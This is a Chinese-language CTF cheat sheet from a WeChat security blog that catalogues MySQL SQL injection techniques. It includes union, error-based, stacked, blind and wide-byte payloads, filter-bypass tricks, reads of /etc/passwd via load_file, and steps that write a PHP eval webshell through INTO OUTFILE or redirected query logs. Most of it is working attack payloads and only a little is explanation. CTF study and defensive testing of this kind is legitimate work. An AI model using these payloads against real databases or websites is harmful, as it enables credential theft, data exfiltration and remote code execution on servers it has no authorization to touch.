点击上方蓝字关注IDLab
本文章来自IDLab团队第一Web手-Xenc
没有搞不定的sql注入 --Xenc
What is SQL Injection
web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
l特点:
l广泛性
l任何一个基于SQL语言的数据库都可能被攻击
l隐蔽性
l不易发现
l危害大
l获取用户信息
l读取文件
lUAF
lGETSHELL
SELECT username,password FROMuser WHERE username= '{SQLINJECTION}'
sql注入分类
前置知识
MYSQL自带库:mysql、sys、information_schema、 performance_schema
mysql.user : 保存MySQL用户信息
sys.schema_table_statistics_with_buffer : 保存数据库和数据表的信息
sys.x$session : 保存用户session(包含了正在执行的语句)
information_schema.tables : 保存数据库的所有表名信息
information_schema.columns : 保存数据库的所有列名信息
performance_schema.table_io_waits_summary_by_table : 保存数据库的所有列名信息
performance_schema. global_variables : 保存MySQL全局变量信息
注释://、/**/、;%00、--+、#
判断函数:IF、CASE WHEN
截取函数:substr、substring、left、right、mid
匹配:like、regexp
延迟函数:sleep、benchmark
拼接函数:group_concat、concat、 concat_ws
其他函数:ascii、ord、database、user、replace、json_object、exp、char、hex、bin、conv、isnull…
Handler 表名 open |handler 表名 read first;
set @a = 0x73656C656374202A2066726F6D2074; prepare p from @a; execute p;
rename table 原表名 to 新表名;
alter table users change uesrname name varchar(30);
replace users value('1','admin','Hacked');
基础注入
已知 查询的username != ‘flag’ ,测试无过滤 ‘ or 1 --+ 利用优先级(and比or高) 使username != ‘flag’ 无效
' order by 4 --+ 错误,可知3个字段
' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+ 爆表
' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=’ctfshow_user‘ --+ 爆列名
' union select id,username,password from ctfshow_user --+ 列数据
报错注入
updatexml(1,concat(0x7e,version()),1) --------- updatexml(目标xml文档,xml路径,更新的内容)
extractvalue(1,concat(0x7e,version(),0x7e)) --------- extractvalue(目标xml文档,xml路径)
' union select 0,count(*),concat(floor(rand(0)*2),version()) x from information_schema.schemata group by x --+
堆叠注入
0;prepare p from 0x73656C65637420273127;execute p; --- --- --- --- --- --- --- MariaDB上可用
select hex('select * from users'); set @a = 0x73656C656374202A2066726F6D207573657273;
prepare p from @a;execute p; // 预编译执行SQL语句
handler users open;handler users read first;handler users close; // handler 读取数据
布尔盲注
' or if(substr(user(),1,1)=’r‘,1,0) – a 密码错误
' or if(substr(user(),1,1)=’a‘,1,0) – a 用户不存在
对查询的数据逐个判断是否相等,就可用获得数据
爆破得到当前数据库表
' or if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database())1,1)=’a‘,1,0)
爆破xxxx表列
' or if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘xxxx’)1,1)=’a‘,1,0)
时间盲注
通过 if结果为1进行sleep(1)
Why time is 21.21s ? 查询出不超过21条记录,每一条记录执行一次sleep(1) 可以得到记录数不多于21条 --- ' or if((select count(pass) from ctfshow_user)=21,1,0) – a
逐字注入 能够截取字符,同时能触发延时即可:
substr:select username from users where id=-1 or (if(substr(user(),1,1)=‘r’,sleep(3),1)) ;
宽字节注入
原理:宽字节注入是利用MySQL的一个特性,MySQL在使用GBK编码的时候, 会认为两个字符是一个汉字(前一个ascii码要大于128,才到汉字的范围)
' -> ' -> %5C%27
%df' -> %df ' -> %df%5C%27
加密注入
Base64、AES….
源于程序员的骚操作
import base64;base64.b64encode(b'a') //select to_base64('a');
aes_decrypt(aes_encrypt(version(),1),1)
二次注入
一般情况下:二次注入存在可用更改数据库信息的地方(update、delete)
由于登录信息,有些程序员会将用
户数据存在SESSION,然后使用SESSION进行拼接查询导致二次注入
读写文件
select @@secure_file_priv //查看权限
NULL 默认不可写不可读
空 可读可写
/tmp/ 对该目录可读可写
写入:select '<?php @eval($_POST[shell]); ?>' into outfile '/etc/www/html/shell.php’
日志写webshell:
读取:select load_file(‘/etc/passwd’);
日志写webshell:
错误日志log_error:记录启动、运行或停止mysqld时出现的问题。
通用日志general_log:记录建立的客户端连接和执行的语句。
慢查询日志slow_query_log:记录所有执行时间超过long_query_time秒(默认10秒)的所有查询或不使用索引的查询
show global variables like "%general%"; #查看general文件配置情况
set global general_log='on'; #开启日志记录
set global general_log_file='C:/phpstudy/WWW/shell.php';
select '<?php @eval($_POST[shell]); ?>'; #日志文件导出指定目录
set global general_log=off; #关闭记录
show variables like '%slow%'; #慢查询日志
set GLOBAL slow_query_log_file='C:/phpStudy/PHPTutorial/WWW/slow.php';
set GLOBAL slow_query_log=on;
/*set GLOBAL log_queries_not_using_indexes=on;
show variables like '%log%';*/
select '<?php phpinfo();?>' from mysql.user where sleep(10);
写文件:select 'a' into dumpfile 'e:/sql.txt’
读取文件:load data infile 'e:/1.txt' into table users(username);
MySQL JDBC读取文件。
MySQL 任意文件读取漏洞
Bypass
CTF 中的 SQL 难度不会那么基础,朴实无华的界面中,就是要你绕、绕、绕、再绕
MySQL中有许多的函数,提供给使用者来提高效率,往往一些不为人知的函数就可以绕过过滤
Substrè截取函数 è mid è leftè right èposition èregexpè like
空格绕过:%20、%09、%0a、%0b、%0c、%0d、%a0、%00、/**/、/*!select*/、()、--%0a
Or绕过:&& || and
过滤order by: into @,@,@ order by 只能在limit前使用,into只能在limit之后使用
过滤等号:in、>、^、<、like、regexp、between and、instr、position、locate、in、find_in_set…
逗号绕过:select * from (select 1)a join (select3)b join (select 2)c
substr((database())from({})for(1)) offset
Set绕过:
select '123' into @a
select @a:='123'
select 1 from mysql.userwhere @a:='123'
do @a:='123’
过滤单引号|双引号:十六进制绕
过滤regexp:like
等价函数变量的绕过:
1.hex()、bin() ==> ascii()
2.sleep() ==>benchmark()
3.concat_ws()==>group_concat()
4.mid()、substr() ==> substring()
5.@@user ==> user()
6.@@datadir ==> datadir()
7.@@version ==> version()
过滤information_schema:
schema_auto_increment_columns #只有表自增的表才在里面,可能会漏掉一些
sys.schema_table_statistics_with_buffer
sys.x$schema_table_statistics_with_buffer
sys.innodb_buffer_stats_by_schema
sys.innodb_buffer_stats_by_table
mysql.innodb_table_stats
sys.schema_tables_with_full_table_scans
mysql.innodb_index_stats
//包含in
SELECT object_name FROM `sys`.`x$innodb_buffer_stats_by_table` where object_schema = database();
SELECT object_name FROM `sys`.`innodb_buffer_stats_by_table` WHERE object_schema = DATABASE();
SELECT TABLE_NAME FROM `sys`.`x$schema_index_statistics` WHERE TABLE_SCHEMA = DATABASE();
SELECT TABLE_NAME FROM `sys`.`schema_auto_increment_columns` WHERE TABLE_SCHEMA = DATABASE();
//不包含in
SELECT TABLE_NAME FROM `sys`.`x$schema_flattened_keys` WHERE TABLE_SCHEMA = DATABASE();
SELECT TABLE_NAME FROM `sys`.`x$ps_schema_table_statistics_io` WHERE TABLE_SCHEMA = DATABASE();
SELECT TABLE_NAME FROM `sys`.`x$schema_table_statistics_with_buffer` WHERE TABLE_SCHEMA = DATABASE();
//通过表文件的存储路径获取表名
SELECT FILE FROM `sys`.`io_global_by_file_by_bytes` WHERE FILE REGEXP DATABASE();
SELECT FILE FROM `sys`.`io_global_by_file_by_latency` WHERE FILE REGEXP DATABASE();
SELECT FILE FROM `sys`.`x$io_global_by_file_by_bytes` WHERE FILE REGEXP DATABASE();
包含之前查询记录的表
SELECT QUERY FROM sys.x$statement_analysis WHERE QUERY REGEXP DATABASE();
SELECT QUERY FROM `sys`.`statement_analysis` where QUERY REGEXP DATABASE();
SELECT object_name FROM `performance_schema`.`objects_summary_global_by_type` WHERE object_schema = DATABASE();
SELECT object_name FROM `performance_schema`.`table_handles` WHERE object_schema = DATABASE();
SELECT object_name FROM `performance_schema`.`table_io_waits_summary_by_index_usage` WHERE object_schema = DATABASE();
SELECT object_name FROM `performance_schema`.`table_io_waits_summary_by_table` WHERE object_schema = DATABASE();
SELECT object_name FROM `performance_schema`.`table_lock_waits_summary_by_table` WHERE object_schema = DATABASE();
过滤ascii:ord()–>ascii():这两个函数在处理英文时效果一样,但是处理中文等时不一致。
过滤INSERT (插入|替换)数据:
replace users value('17','admin','Hacked');
// 对users表的id=17 把username替换成admin password替换成Hacked, 对于users而言,具体替换什么列得看表
查看表结构:
explain users;
desc users;
show columns from users;
show fields from users;
show columns in users;
show fields in users;
无列名注入:
select c from (select 1 as a, 1 as b, 1as c union select * from test)x limit 1 offset 1
select `3` from(select 1,2,3 union select* from admin)a limit 1,1
无逗号,有join版本
select a from (select * from (select 1`a`)m join (select 2 `b`)n join (select 3 `c`)t where 0 union select * fromtest)x;
绕过(点绕过)//select,from等关键字绕过都可以使用:
select0x73656c65637420757365722066726f6d206d7973716c2e75736572 into @s;prepare a from@s;EXECUTE a; //0x736... =>'select user from mysql.user'
set @a concat('select user from mysql',char(46),'user');preparea from @s;EXECUTE a;
Mysql特性
MySQL与PHP一样存在弱类型问题:
字符+数字 = 数字 ? '1a'+2 = 3 、'a' + 2 =3
字符 = 0 ?
注入语句等于输出语句( Quine ):
sys.x$session->current_statement 保存正在运行的SQL语句
sys.x$processlist->current_statement 保存正在运行的SQL语句
select replace(replace('select replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'select replace(replace(".",char(34),char(39)),char(46),".")')
参考文章:https://www.shysecurity.com/post/20140705-SQLi-Quine
END
本文始发于微信公众号(IDLab):干货|CTF-sql注入总结(一)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论